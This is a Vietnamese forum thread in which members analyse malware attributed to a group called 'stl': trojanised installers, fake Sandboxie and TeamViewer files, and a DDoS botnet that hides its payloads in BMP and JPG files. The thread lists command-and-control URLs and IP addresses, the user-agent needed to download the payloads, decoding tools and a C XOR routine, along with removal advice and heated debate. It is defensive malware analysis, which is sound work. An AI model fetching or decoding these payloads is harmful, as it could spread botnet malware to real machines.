Khi chạy trong hệ thống, MsHelpCenter.exe tạo lập một kết nôi Internet đến một webserver. Chắc đây là một master-website. MsHelpCenter.exe mở rất nhiều thread (cổng TCP) gửi các gói tin cỡ 60B để kết nối đến cổng 80 TCP của webserver nói trên. Đia chỉ IP của webserver nay là: 178.162.225.253, webserver này có domain là mtiw253.westhomesite.info. Tại thời điểm tôi thử nghiệm webserver này không hoạt đông (inactive-offline). Vì vậy chưa xác định được là MsHelpCenter.exe sẽ download file gì (file image gì?) về máy. Quá trình thử nghiêm cần được tiếp tục theo dõi. Tôi nghĩ sẽ có lúc webserver này sẽ active. Xem hình 6a và 6b

Hinh 1- Các file nguyên thuỷ của Unikey do axasin cung cấp

Hình 2- Các file mới được vírus tao lập tại Microsoft Help Folder

Hình 3- Sau khi Unikey đươc cài, phần virus nhúng trong Unikey.exe bị xoá

Hình 4- File MshelpCenter.exe....pf trong Prefetch folder

Hình 5- Hiden process MsHelpCenter.exe

Hình 6a- Kết nối Internet tạo lập bởi MsHelpCenter.exe

Hình 6b- Các packet và connection tao lập bởi MsHelpCenter.exe ]]> /hvaonline/posts/list/39641.html#244799 /hvaonline/posts/list/39641.html#244799 GMT http://nethoabinh.com/showthread.php?t=315 Giờ file này đã được xoá :)

]]> /hvaonline/posts/list/39641.html#244803 /hvaonline/posts/list/39641.html#244803 GMT /hvaonline/posts/list/39641.html#244819 /hvaonline/posts/list/39641.html#244819 GMT Bat dau tu 30/07/2011, uxtheme.manifest se download virus tu: URL1: http://map.priper.info:8080/flower.bmp Neu fail, no se down tu 2 host sau: URL2: http://daily.openns.info:8080/flower.bmp URL3: http://sec.seamx.net:8080/flower.bmp VD URL day du khi no download: http://map.priper.info:8080/flower.bmp?g={B4EE5266-759C-474A-B216-A6BCC12A6456}&c=1&v=1&tf=312219152140&tr=111111111111&t=312219152140&p=2&e=0&n=abcde&u=abc&waclwugzwooyeyvhlja=yvqexeqbkwgdhejtuuvyps Tu flower.bmp, uxtheme.manifest extract ra URL sau (ta cung co the dung tool DecodeBmp.exe de extract). URL2: http://map.priper.info:8080/aqua.bmp UxTheme.manifest se extract data tu aqua.bmp ra file SbieCtrl.exe. Ta cung co the dung DecodeBmp.exe de extract ra SbieCtrl.exe. SbieCtrl.exe khi run se extract ra 2 file mao danh Sandboxie: SbieSvc.exe va SbieMgm.dll SbieMgm.dll chinh la con bot de DDOS. No se download config file tu 1 trong cac URL sau: http://net.iadze.com/backgrounds.jpg http://net.iadze.com/fronts.jpg http://find.instu.net/backgrounds.jpg http://find.instu.net/fronts.jpg IP cua net.iadze.com: 178.32.95.119:80. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Ta co the download backgrounds.jpg tu 1 trong 4 URL tren, dung cac tool nhu Wget, Malzila, Fiddler. Bat buoc phai config voi User-Agent tren. Neu khong se tra ve HTML respond mao danh: Account suspended. Sau do dung tool DecodeJPG.exe de giai ma file backgrounds.jpg ra file backgrounds.gz Unzip backgrounds.gz bang 7Zip, WinRAR hay WinZip, ta se co file text cau hinh DDOS cua stl. Cac tool DecodeBmp, DecodeJPG da up o: http://www.mediafire.com/?5g7r7c8eme0wjp2  

Từ từ rồi tui sẽ post phân tích kỹ thuât RCE, cách thức hoạt động của các con Fake xxx, các con núp bóng Bmp file trên sau. Giờ thì lo tìm bot, host mới của tụi stl này đã ! Bà con thông cảm !  

Hì hì, angel_of_devil nhầm to rồi: CK = Cơ Khí đó anh Hai ! Làm em tự hỏi: quái, tại sao lại có Skype với Chứng Khoán gì ở đây. Em có biết chứng khoán là gì đâu ? Vậy là danh sách bot, "mèo què" mới của stl đã có thêm các em sau, theo thứ tự từ mới đến cũ: 1. SbieSvc.exe 2. SbieMgm.dll 3. TeamViewer_Desktop.exe 4. themeui.manifest 5. uxtheme.manifest 6. TeamViewer.exe Bà con tìm từng Exe process trên = TaskManager hay dùng tool: Process Explorer của SysInternals, Process Hacker ( http://sourceforge.net/projects/processhacker) trên máy mình. Nếu có, kill process, sau đó xóa các file kể trên đi. 

- TeamViewer.exe (7.816KB) - TeamViewer_.exe (3.963KB) - TeamViewer_Desktop.exe (2.071KB) - TeamViewer_Service.exe (2.283KB) - tv_w32.exe - tv_x64.exe 

Action:Monitored Application:TeamViewer.exe Access:Outbound TCP access Object:1359 -> 87.230.74.43 (master4.teamviewer.com):5938 Time:8/10/2011 11:06:10 AM Application:TeamViewer.exe Access:Outbound TCP access Object:1360 -> 95.211.37.198 (server3310.teamviewer.com):5938 Time:8/10/2011 11:06:11 AM  

Có một chuyện kể ra không biết vui hay buồn. Thứ 7 vừa rồi có đi nhậu với một người bạn cũ, hồi xưa cũng là thợ code như mình, giờ vẫn còn làm IT và đã lên PM. Cậu ta cũng có biết về vụ này và cũng đã vào đọc. Khi đang nhậu, nói chuyện stl, cậu ta cứ thắc mắc: 1. Tại sao có mấy file mạo danh của stl không có đuôi .exe, tui không double click vô thì làm sao nhiểm virus vô máy tui được ? 2. Nhiều file như StaticCaches.dat, uxtheme.manifest... là các DLL. Các DLL này làm sao tự run được ? 3. Nó download bmp về thì làm sao sinh ra bot mới được ? Mình phải ngồi "thuyết trình" một hồi, hết mấy chai bia thì nó mới hiểu, nhưng theo tui thì chắc cũng hiểu "sơ sơ" à ! Từ từ rồi tui sẽ post phân tích kỹ thuât RCE, cách thức hoạt động của các con Fake xxx, các con núp bóng Bmp file trên sau. Giờ thì lo tìm bot, host mới của tụi stl này đã ! Bà con thông cảm !  

Vd nhé: Chuỗi hex string của mấy anh, mấy anh dùng sscanf(xxx, "02X", xxx) để đổi từng cặp hex string ra character. Đầu chuỗi, mấy anh lấy 2 ký tự đầu làm len, lưu cả chuỗi hex vào GDIPlusX key. Giả sử em chơi set 0xFF 0xFF vào đầu cái hex string trong registry đó, bằng tool em phổ biến chẵng hạn, thì con "mèo què" của mấy anh crash không ???? Suy nghĩ kỹ rồi trả lời bằng PM cho em nhé ! Còn nữa, mấy anh sao cứ khoái xài memset, memcpy quá ! Code vậy có optimize không ? Hay kệ cha nó, chạy được, phá được để mấy anh báo cáo xếp Nguyễn Xuân xxxx, Nguễn Nam xxxx là được rồi, phải không mấy anh ???? 

tôi xin có một vài ý ciến như sau : a) STL là một tổ chức tội phạm việt nam sống dưới những tên cơ quan, tổ chức. b) Chẳng có thàng tàu khựa nào tham gia vào vụ DDOS với mailwale made in Viêt cộng này cả . c) Theo tôi kô nên sử dụng các phần mềm diệt virus trong nước, vì bạn thử nghĩ xem bao nhiêu người có thể ngờ rằng, nằm sâu thẳm trong linh hồn những phần mềm "bảo vệ" đó là vài dòng lệnh quản lý và điều hành mọi điều thuộc về bạn. ngay sau khi bạn click install ? . >> trong một cuộc chiến, mọi bên đều có lý do; đúng, sai, phải trái = chịu!!! 

Nowhereman wrote:

tôi xin có một vài ý ciến như sau : a) STL là một tổ chức tội phạm việt nam sống dưới những tên cơ quan, tổ chức. b) Chẳng có thàng tàu khựa nào tham gia vào vụ DDOS với mailwale made in Viêt cộng này cả . c) Theo tôi kô nên sử dụng các phần mềm diệt virus trong nước, vì bạn thử nghĩ xem bao nhiêu người có thể ngờ rằng, nằm sâu thẳm trong linh hồn những phần mềm "bảo vệ" đó là vài dòng lệnh quản lý và điều hành mọi điều thuộc về bạn. ngay sau khi bạn click install ? . >> trong một cuộc chiến, mọi bên đều có lý do; đúng, sai, phải trái = chịu!!! 

Thế dùng phần mềm nước ngoài thì đảm bảo là an toàn đấy. Nếu muốn an toàn thì tốt nhất là đừng dùng internet. 

Không phải đâu cino, tui không than phiền đâu. Mấy cái đó mà là obfuscation, polymoxxx gì đó thì em đi đầu xuống đất luôn, bỏ nghề tay trái RCE luôn. Tui từng làm coder và R&D gần chục năm, mấy cái lỗi đó chỉ đơn thuần là lỗi code của coder thôi bạn, chả có obfuscation, polyxxx (đa hình) hay đánh lừa AV gì ráo hết. Phải gọi là code stupid, "ngớ ngẫn" ! 

.... Đấy là chưa kể các Hệ điều hành 10k/disk bán ngoài chợ, lâu lâu lại phòi ra 1 chú "quản trị cấp hệ thống" hù chơi. Thảm hoạ chẳng kém gì "Da nâu" của dòng nhạc Việt :) 

Host second.dinest.net lại được stl đánh thức dậy để hoạt động. xc.jpg tại: http://second.dinest.net/xc.jpg (User-Agent: An0nym0453) đã thay đổi cách mã hoá, nên tool decode lúc trước sẽ không decode hết được. Đang chờ đợi acoustics89 RE và cập nhật tool decode. 

Ừ, lạ ha ! Sao giờ decode lại được, lúc chiều wget về thì decode không được ? Cảm ơn acoustics89 nhé ! À anh quên mất, hồi đó em có PM cho anh, anh xoá mất rồi. Mẫu nào download thằng top.jpg từ http://penop.net/top.jpg ? Sẵn tiện acoustics89 xem lại hàm decode top.jpg của em luôn nhé, anh build hay dựa trên nó viết script đều decode không ra. 

fseek(f, 0, SEEK_END);
 		lSize = ftell(f);
 		fseek(f, 0, SEEK_SET);
 
 		pBuffer =(char*) malloc(lSize+1024);
 		if(pBuffer)
 		{
 			
 			p = (char *)pBuffer+ 4;
 			memset(pBuffer, 0, lSize+1024);
 			fread((char*)pBuffer, lSize, 1, f);
 
 			for ( i = 8; i < lSize; ++i )
 			{
 				v24 = p[v7 % 4];
 				v23 = pBuffer[i];
 				v23 = (v24 ^ v23) % 256;
 				pBuffer[i] = v23;
 				v7++;
 				//v8 += v23 * v7++ % 7;
 			}
 		}
 		fclose(f);

Anh PXMMRF, cho em hỏi cái phần mềm anh dùng ở hình 6a để theo dõi connections có tên là gì vậy? 

Chà lơ ngơ thế nào máy mình lại nhiễm mớ sandboxies, đang SYN request mấy trang blog rầm rầm thế này Huhu bắt đền anh TQN 

- Em cũng đang sài Hệ Điều Hành 6k đó anh, anh có thể chỉ em làm cách nào để phát hiện chú "quản trị cấp hệ thống"  

....để em góp phần tiêu diệt đám stl? 

Cảm ơn aminhan ! File của bạn là file sạch, của Google. Các file sạch ta có thể kiểm tra bằng cách: right click - Properties. Nếu có Tab "Digital Signatures" và trong Signature list là các công ty signer hợp lệ thì file đó 99% là sạch. Các file mạo danh của stl sẽ không có Digital Signature (chữ ký số). 

Theo mình nghĩ không nên mang chuyện triết lý và đạo đức để phê phán nhóm STL , vì dẫu sao họ cũng làm việc theo lý tưởng, theo mục đích sống của họ dẫu có thể đó là mù quáng. ở 1 góc độ nào đó thì cũng phải cảm ơn họ vì họ mà những người nhiệt huyết và có tâm như TQN cũng như BQT HVA đã mở mang kiến thức cho mọi người từ trình độ it basic đến advance hiểu thêm về virus và các biện pháp bảo vệ, vốn dĩ những kỹ thuật RC chỉ lưu hành nội bộ. Chỉ thực sự khi nào họ ngã ngựa trên con đường họ đang đi và bởi chính đức tin họ đang theo đuổi làm họ ngã thì có thể họ cảm nhận được và hiểu ra vấn đề. PS mình rất thích anh TQN châm chọc STL bằng kỹ thuật và những phân tích. 

Chắc chắn stl vẫn còn ít nhất là 1 botnet khác chưa bị phát hiện. Chắc chắn các zombies vẫn còn nhiễm một thứ tương tự như "AcrabatUpdater.exe". 

Không ngờ nhiều hacker non trẻ ngoài tay nghề IT ra mà ngón nghề chửi cũng không thua gì các bậc tiền bối ngoài chợ. A-di-đà-Phật, thiện tai, thiện tai. Thôi thì quảng gánh lo đi mà vui sống các bác ạ, dẫu phận đời đen bạc, thật giả lẫn lộn... 

myquartz wrote:

Không ngờ nhiều hacker non trẻ ngoài tay nghề IT ra mà ngón nghề chửi cũng không thua gì các bậc tiền bối ngoài chợ. A-di-đà-Phật, thiện tai, thiện tai. Thôi thì quảng gánh lo đi mà vui sống các bác ạ, dẫu phận đời đen bạc, thật giả lẫn lộn... 

Lạ thiệt. Những trò ăn cắp, lừa đảo, xâm phạm máy tính cá nhân, phát tán virus, tấn công từ chối dịch vụ..v...v.. đó là chưa kể những trò "bạch hoá" bằng cách thêu dệt, bêu rếu, lăng nhục kẻ khác đều là những trò không những vi phạm pháp luật trầm trọng mà còn là những hành vi phi đạo đức, vậy mà từ trước đến giờ bạn myquartz có bao giờ lên tiếng phê bình những trò bại hoại này đâu? Trái lại, những kẻ phê phán (hoặc chửi bới) những trò bại hoại ấy thì bạn myquartz lại nhảy vô mà chụp cái mũ "nghề chửi"? Bạn đang gián tiếp cho rằng những việc làm bại hoại kia không đáng để chửi và những người đang chửi những việc bại hoại là đáng khinh bỉ? Bạn có bị đụng chạm, bị tấn công, bị hư hại, bị mất mác đâu mà không thản nhiên? Bạn nghĩ rằng ai đó phá hoại bạn, phá hoại cả một cộng đồng bằng đủ thứ trò thô bỉ và ti tiện đi chăng nữa cũng nên "quảng gánh lo đi mà vui sống"? Xin lỗi bạn, đối với tớ, đây cũng chỉ là một thứ lập luận bullshit. Phận đời đen bạc khỉ gì đây? Ở đây chỉ có một bọn phá hoại bao nhiêu năm nay nhưng tất cả các cơ quan chức năng, báo chí, thông tin đều làm ngơ và một bọn chống lại bọn phá hoại bằng khả năng và điều kiện ít ỏi mà thôi. Ai đó tới nhà bạn, đập phá nhà bạn, bêu rếu bạn và bạn cắn răng mà ta thán rằng "phận đời đen bạc" rồi cam chịu? Xin lỗi bạn, đây là thái độ bạc nhược hoặc không trung thực (vì con người không phải là những con liu điu chỉ biết cúi đầu chịu hèn). Tớ không thể tin nổi là cả một quốc gia mà lại hoàn toàn im ắng trước sự tấn công triền miên tới vietnamnet. Chỉ cần hốt một mớ log trên hệ thống của vietnamnet, chọn ra một mớ IP addresses rồi liên hệ với ISP để trace ra máy con bị nhiễm malware. Đến vài nơi để lấy mẫu malware, re xong là liên hệ trực tiếp với data center của masterbot. Chỉ cần lấy tư cách vncert chớ đừng nói chi cơ quan an ninh thì các data center sẵn sàng cung cấp thông tin cần thiết. Chộp ra 1 ông thì cách gì mà không lòi ra cả đám? Những phê phán về khía cạnh đạo đức ở đây trực tiếp đi từ những kết quả kỹ thuật mà ra. Kỹ thuật cũng có đạo đức và phi đạo đức. Kỹ thuật mà không có yếu tố đạo đức thì chẳng khác gì những thằng người máy làm theo chương trình ấn định sẵn. Hãy làm con người và đừng làm người máy! 

- Tôi nghĩ cái đáng buồn và đau lòng nhất khi nghĩ đến nhóm STL này là họ cũng có thể là người Việt như mỗi người chúng ta, như những người đang chủ trì các diễn đàn, blog lề trái hiện nay. Tất cả mọi người đều là người Việt Nam, cùng một dân tộc, cùng một quê hương, đất nước, dẫu có những lý tưởng, suy nghĩ hay quan điểm khác nhau nhưng nếu trên tinh thần nhân văn, nhân đạo thì sao lại không thể cùng nhau ngồi lại để thảo luận, nói chuyện chứ. - Từ khi đi học cho đến nay, mỗi khi học lịch sử tôi lại được nghe nói đến tinh thần đoàn kết của người VN mỗi khi có chiến tranh chống ngoại xâm xảy ra, thật là vô cùng tự hào làm sao, nhưng đến bây giờ tôi mới hiểu được cái tinh thần đoàn kết đó chỉ xảy ra khi có chiến tranh mà thôi, chẳng phải thế nên dân Việt mình mới mãi đứng sau thiên hạ, không thể nào so sánh được với những dân tộc Á Đông khác. 

- Tôi nghĩ cái đáng buồn và đau lòng nhất khi nghĩ đến nhóm STL này là họ cũng có thể là người Việt như mỗi người chúng ta, như những người đang chủ trì các diễn đàn, blog lề trái hiện nay. Tất cả mọi người đều là người Việt Nam, cùng một dân tộc, cùng một quê hương, đất nước, dẫu có những lý tưởng, suy nghĩ hay quan điểm khác nhau nhưng nếu trên tinh thần nhân văn, nhân đạo thì sao lại không thể cùng nhau ngồi lại để thảo luận, nói chuyện chứ.  

- Từ khi đi học cho đến nay, mỗi khi học lịch sử tôi lại được nghe nói đến tinh thần đoàn kết của người VN mỗi khi có chiến tranh chống ngoại xâm xảy ra, thật là vô cùng tự hào làm sao, nhưng đến bây giờ tôi mới hiểu được cái tinh thần đoàn kết đó chỉ xảy ra khi có chiến tranh mà thôi, chẳng phải thế nên dân Việt mình mới mãi đứng sau thiên hạ, không thể nào so sánh được với những dân tộc Á Đông khác. 

Đã có thông báo của vietnamnet về sever quá tải : http://vietnamnet.vn/vn/cong-nghe-thong-tin-vien-thong/35560/thong-bao-ve-viec-vietnamnet-bi-qua-tai.html 

PS: tớ phải nói thật là tớ rất buồn khi khám phá ra một số chi tiết dính líu đến một số thành viên HVA (hoặc đã từng là thành viên của HVA) cũng thuộc đám phá hoại này nhưng không sao, một cái cây còn có cành cao, cành thấp, lá xanh, lá sâu mà huống hồ chi mạng ảo tạp nham? 

Vừa phát hiện một botnet khác sử dụng User-Agent "Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)". Sau đây là danh sách 300 IP dữ dằn nhất (chủ yếu là từ VN). Nếu anh chị em nào thấy có IP của mình nằm trong danh sách này, xin vui lòng liên hệ trực tiếp với tôi qua PM. Cám ơn. 113.160.101.152 113.160.110.89 113.160.111.68 ............................. 58.187.96.164 66.110.121.148 71.21.15.74 

myquartz wrote:

Không ngờ nhiều hacker non trẻ ngoài tay nghề IT ra mà ngón nghề chửi cũng không thua gì các bậc tiền bối ngoài chợ. A-di-đà-Phật, thiện tai, thiện tai. Thôi thì quảng gánh lo đi mà vui sống các bác ạ, dẫu phận đời đen bạc, thật giả lẫn lộn... 

Lạ thiệt. Những trò ăn cắp, lừa đảo, xâm phạm máy tính cá nhân, phát tán virus, tấn công từ chối dịch vụ..v...v.. đó là chưa kể những trò "bạch hoá" bằng cách thêu dệt, bêu rếu, lăng nhục kẻ khác đều là những trò không những vi phạm pháp luật trầm trọng mà còn là những hành vi phi đạo đức, vậy mà từ trước đến giờ bạn myquartz có bao giờ lên tiếng phê bình những trò bại hoại này đâu? Trái lại, những kẻ phê phán (hoặc chửi bới) những trò bại hoại ấy thì bạn myquartz lại nhảy vô mà chụp cái mũ "nghề chửi"? Bạn đang gián tiếp cho rằng những việc làm bại hoại kia không đáng để chửi và những người đang chửi những việc bại hoại là đáng khinh bỉ? Bạn có bị đụng chạm, bị tấn công, bị hư hại, bị mất mác đâu mà không thản nhiên? Bạn nghĩ rằng ai đó phá hoại bạn, phá hoại cả một cộng đồng bằng đủ thứ trò thô bỉ và ti tiện đi chăng nữa cũng nên "quảng gánh lo đi mà vui sống"? Xin lỗi bạn, đối với tớ, đây cũng chỉ là một thứ lập luận bullshit. Phận đời đen bạc khỉ gì đây? Ở đây chỉ có một bọn phá hoại bao nhiêu năm nay nhưng tất cả các cơ quan chức năng, báo chí, thông tin đều làm ngơ và một bọn chống lại bọn phá hoại bằng khả năng và điều kiện ít ỏi mà thôi. Ai đó tới nhà bạn, đập phá nhà bạn, bêu rếu bạn và bạn cắn răng mà ta thán rằng "phận đời đen bạc" rồi cam chịu? Xin lỗi bạn, đây là thái độ bạc nhược hoặc không trung thực (vì con người không phải là những con liu điu chỉ biết cúi đầu chịu hèn). Tớ không thể tin nổi là cả một quốc gia mà lại hoàn toàn im ắng trước sự tấn công triền miên tới vietnamnet. Chỉ cần hốt một mớ log trên hệ thống của vietnamnet, chọn ra một mớ IP addresses rồi liên hệ với ISP để trace ra máy con bị nhiễm malware. Đến vài nơi để lấy mẫu malware, re xong là liên hệ trực tiếp với data center của masterbot. Chỉ cần lấy tư cách vncert chớ đừng nói chi cơ quan an ninh thì các data center sẵn sàng cung cấp thông tin cần thiết. Chộp ra 1 ông thì cách gì mà không lòi ra cả đám? Những phê phán về khía cạnh đạo đức ở đây trực tiếp đi từ những kết quả kỹ thuật mà ra. Kỹ thuật cũng có đạo đức và phi đạo đức. Kỹ thuật mà không có yếu tố đạo đức thì chẳng khác gì những thằng người máy làm theo chương trình ấn định sẵn. Hãy làm con người và đừng làm người máy! 

Tới ngày hôm nay, 16-08-2011, host map.priper.info không còn trả về flower.bmp và aqua.bmp nữa, nginx trả về "404 Not Found". Kiểm tra trên robtex.com, thấy có điều lạ là host: E9tn.com lại có cùng IP với map.priper.info. Cái này thì em không hiểu, các bác rành về network giải thích giùm em. ...................................  

Người chửi STL tưởng là mình làm việc tốt nhưng cái xấu chính là việc "chửi", ngược lại STL làm nhiều chuyện xằng bậy trên Internet nhưng chắc họ cũng có mặt tốt nào đó mà chúng ta ko biết.  

Chào anh PXMMRF, Botnet của stl sử dụng một file chứa một đống User-Agents và hiệu lệnh để tấn công. Zombies có thể được gán random User-Agents hoặc một User-Agent cố định nào đó. Botnet của stl không tuân thủ các ấn định chung cho "crawler" thông thường. Chúng không hề thăm dò "robots.txt" mà chỉ đập thẳng vô các URI nào đó và từ đó tiếp tục crawl sâu vô trong. Bởi vậy mới tạo tác hại lớn. Với bots của stl, cho dù các zombies có check "robots.txt", việc áp dụng ACAP cũng không có tác dụng gì cả bởi vì zombies sử dụng low-level socket API để tạo requests đến mục tiêu. Ở level này, những ấn định và ứng dụng có trên trình duyệt hẳn hòi (như IE, FF, Chrome....) hoặc ở các crawlers thật thụ đều không có ý nghĩa đối với zombies stl. @ TQN: thật ra các websites và blogs bị stl "dán bùa" lên thì ít nhất 70% là của người Việt trong nước chớ chẳng phải của người Việt ở nước ngoài. Ở Việt Nam, từ năm 2007 đã có những bài báo có tiêu đề "An ninh mạng và pháp lý sẽ được củng cố" và từ đó tới giờ đã hơn 4 năm, vẫn chưa thấy củng cố gì hết. Việt Nam vẫn chưa có một cái khung pháp lý cụ thể về an ninh mạng và cách xử lý với những vi phạm. ................................................................................. 

Như anh conmale đề cập bài trên, thì STL chọc vào 1 page rồi từ page đó sẽ có các link tới pages khác của site hiện tại, crawl tiếp vào các links này...mức độ thiệt hại của website sẽ càng nặng nề hơn. 

Như anh conmale đề cập bài trên, thì STL chọc vào 1 page rồi từ page đó sẽ có các link tới pages khác của site hiện tại, crawl tiếp vào các links này...mức độ thiệt hại của website sẽ càng nặng nề hơn.  

Các header trong các gói tin của STL DDoS đến muc tiêu như vừa qua thì không thể nào tạo nên hiệu quả crawling các link hiện hiện trên URL bị DDoS vào. Muốn crawling thì phải có thêm những command cần thiết kèm với header. " 

Theo em hiểu thì mục đích thay đổi User Agents là để Server host website tạo một thread mới. Vì với một user khi dùng một browser để request tới Server thì họ sẽ chỉ có một User Agent duy nhất mà thôi. Việc STL thay đổi nhiều User Agents mục đích là để làm "LỤT" Server với quá nhiều thread được sinh ra....Không biết em hiểu có đúng không?

Như anh conmale đề cập bài trên, thì STL chọc vào 1 page rồi từ page đó sẽ có các link tới pages khác của site hiện tại, crawl tiếp vào các links này...mức độ thiệt hại của website sẽ càng nặng nề hơn.  

-> Ý em là crawler khi craw vào một page nào đó, nó sẽ dectect luôn các INTERNAL Urls của site đó và tiếp tục crawl vào các INTERNAL Urls. Còn việc thay đổi User Agents thì chắc là sẽ tạo thêm hiểu quả rồi.  

@Anh PXMMRF: Bot của STL sử dụng các browser có sẵn trên máy để DDOS hở a ?

Các header trong các gói tin của STL DDoS đến muc tiêu như vừa qua thì không thể nào tạo nên hiệu quả crawling các link hiện hiện trên URL bị DDoS vào. Muốn crawling thì phải có thêm những command cần thiết kèm với header. 

Theo em nghĩ, crawl cũng chỉ là 1 quá trình duyệt 1 website, parse nội dung HTML của trang đó, và lấy hết những href link trong trang, rồi tiếp tục request đến các href link đó thôi mà ? @texudo: Hình như việc thay đổi User-Agent không liên quan đến việc server tạo ra thread khác đâu bạn. 

Sùng gan ông nội http://www.imageshack.us/ này quá, phải register và login vào mới xem được hình. Bà con có trang web nào upload hình mạnh, nhanh, lớn không, share cho em để em port hết mấy hình này qua ! 

-Xin lỗi chứ em không gọi là bạn được ,từ này em gọi bọn stl là bọn địch chắc đang ức chế lắm khi HVA vẫn trơ như tượng đá. -Cũng có lẽ cấp trên chỉ thị mấy chú không hạ được HVA thì tháng này cắt luơng cũng nên :)) 

Phì cười, em thấy chính các bác Admin cũng mất thời gian cho việc này, hiển nhiên là ảnh hưởng đến công việc chính của mình. Thực sự các bác nghĩ công việc chính của các bác là sống chết với HVA này ?. Các bạn STL kia thì công việc chính của các bạn ấy là phá hoại rồi, em thấy công sức các bạn ấy bỏ ra để phá hoại có khi không nhiều hơn công sức các bác bỏ ra để phòng chống. 

Thôi, em biết nói thế này thể nào các bác cũng xông vào chém, đã không giúp được gì lại còn thích phá thối. Nhưng thật ra là về sau em thấy các bác hơi cay cú, tất nhiên là cay cú cũng phải khi gặp các bạn phá hoại chuyên nghiệp thế này. Nhưng thái độ các bạn STL thế nào, các bác có biết được đâu, nên cứ tự bàn luận rồi tự sướng thế này em thấy gai mắt thì có ý kiến thôi. 

Thôi, em biết nói thế này thể nào các bác cũng xông vào chém, đã không giúp được gì lại còn thích phá thối. Nhưng thật ra là về sau em thấy các bác hơi cay cú, tất nhiên là cay cú cũng phải khi gặp các bạn phá hoại chuyên nghiệp thế này. Nhưng thái độ các bạn STL thế nào, các bác có biết được đâu, nên cứ tự bàn luận rồi tự sướng thế này em thấy gai mắt thì có ý kiến thôi. 

Thôi, em biết nói thế này thể nào các bác cũng xông vào chém, đã không giúp được gì lại còn thích phá thối. Nhưng thật ra là về sau em thấy các bác hơi cay cú, tất nhiên là cay cú cũng phải khi gặp các bạn phá hoại chuyên nghiệp thế này. Nhưng thái độ các bạn STL thế nào, các bác có biết được đâu, nên cứ tự bàn luận rồi tự sướng thế này em thấy gai mắt thì có ý kiến thôi. 

-Xin lỗi chứ em không gọi là bạn được ,từ này em gọi bọn stl là bọn địch chắc đang ức chế lắm khi HVA vẫn trơ như tượng đá. -Cũng có lẽ cấp trên chỉ thị mấy chú không hạ được HVA thì tháng này cắt luơng cũng nên :)) 

Em thấy các bác nên nghiêng về kỹ thuật chút , tuy đọc không hiểu mấy mà thấy a TQN vừa phân tích vừa vạch trần STL thấy cũng thú vị , ngày nào cũng phải lên coi "update tin tức" :P. P/S VietNamNet vào 23h15 e thấy chậm quá , chắc đang bị đấm túi bụi . 

e) quan trọng là nếu anh conmale có quý chúng mình thì xin anh hãy mau mau chỉ cho tụi em biết cách anh ....né đòn ra làm sao ?hì hì. làm sao để balance server ? ( ví dụ như config rounter nhu' the' nao? mo rong bang thong ? thay doi policies can, loc .v.v. contact , hoac dap chet bon master server kia ra sao ? fan ung' nhanh cần fai? lam gi ? abc..v.v.v ) ui, cái này khó và hay lắm anh kể cho tui em nghe nha anh . :P  

f) việc liên đới bọn stl này với những thông tin và thông số kỹ thuật, thậm chí cả cách code và loại tư tưởng mà bạn dò được, thế là mình có mấy chục % hiểu và biết bọn sư tổ lợn ( stl ) là ai mà .  

kutruoi wrote:

e) quan trọng là nếu anh conmale có quý chúng mình thì xin anh hãy mau mau chỉ cho tụi em biết cách anh ....né đòn ra làm sao ?hì hì. làm sao để balance server ? ( ví dụ như config rounter nhu' the' nao? mo rong bang thong ? thay doi policies can, loc .v.v. contact , hoac dap chet bon master server kia ra sao ? fan ung' nhanh cần fai? lam gi ? abc..v.v.v ) ui, cái này khó và hay lắm anh kể cho tui em nghe nha anh . :P  

Câu "nếu anh conmale có quý chúng mình thì xin anh hãy mau mau chỉ cho tụi em biết cách anh ...." nghe có cứ ................. :D Đọc kỹ sẽ thấy anh nói hết rồi mà. - Cách triệt để nhât là phải tiêu diệt nguồn DDoS trước khi nghĩ đến biện pháp chống -> cái này thuộc về anh TQN và các anh em khác bằng cách RCE code Virus của STL và gửi report đến các hãng diệt virus -> Diệt được vô số Bot. nếu có 10 con thì diệt được 9 hoặc 8 con là đã giúp cho HVA giảm được 80%. - Sử dụng thêm 1 Server ở EU có băng thông 1 Gbps <-- cái này khá tốt. tác dụng thì khỏi phải bàn, còn về việc load balance thì cũng giống như trước đây HVA chạy 2 server, 1 ở JAPAN và 1 ở US. - HVA không hack các server khác. vì anh conmale không thích "break laws". vì thế nên có thể là đã viết email contact với bên cung cấp dịch vụ của STL. Còn thêm các biện pháp chống khác thì với chúng ta thì với điều kiện đang có nếu Sờ Ti Lợn tấn công vào thì chắc cũng chỉ nằm yên đợi chết hoặc trông chờ vào Government ;-) ? chứ không có đủ điều kiện để kiếm đâu ra nhiều server khủng và đặt nhiều nơi trên thế giới như HVA. Phần cản lọc chắc là liên hệ với ISP có quyền và khả năng. vì giả sử cái server con con của chúng ta mà bị DDoS có set firewall cho Deni hết hay Ban hết mấy cái IP thì đống Bot kia nó cứ DDoS vào chắc cũng bị "ngập". nên chắc phải liên hệ và có sự giúp đỡ của ISP.

kutruoi wrote:

f) việc liên đới bọn stl này với những thông tin và thông số kỹ thuật, thậm chí cả cách code và loại tư tưởng mà bạn dò được, thế là mình có mấy chục % hiểu và biết bọn sư tổ lợn ( stl ) là ai mà .  

Bọn STL này là 1 nhóm code. vì vậy nhiều thằng code thối lắm. vì thế nên có đọc code cũng khó lắm mà biết được thằng nào code. không thể có được mấy chục % nhờ RCE code của bọn này. vì nếu tôi code 1 chương trình thế nào thì thằng bạn tôi học cùng thầy giáo cũng sẽ code gần giống thậm chí code giống như vậy, ngoài ra đa số STL đều lên mạng lấy code về đạo đạo, nên có thể thấy mấy thằng này không có tư duy, mà code theo kiểu chắp chắp vá vá như vá áo rách chứ không may hẳn từ đầu đến cuối 1 cái áo. Có thêm vụ có IP của STL nữa + thành viên của HVA rất đông, chắc chắn có người làm cho các ISP lớn nên chắc không khó để có chính xác thông tin của tài khoản đăng ký ADSL đó. từ đó cũng có thể lần ra được vô số. vì các thông tin cung cấp public trên đấy chỉ là 1 phần nhỏ, chứ không phải tất cả các thông tin mà các anh thu thập được đều post lên đây hết 

@conmale Có 1 vấn đề này em hay bị mắc phải khi truy cập vào / ( tab 1 ) click vào Forum nó sẽ nhảy ra cái /tof/ ở 1 new tab mới ( tab 2 ) . Nhưng khi em tắt cái ( tab 2 ) rồi click vào cái link forum ở ( tab 1 ) thì nó lại trả về /null. Phải tắt trình duyệt đi mở lại mới vào được. 

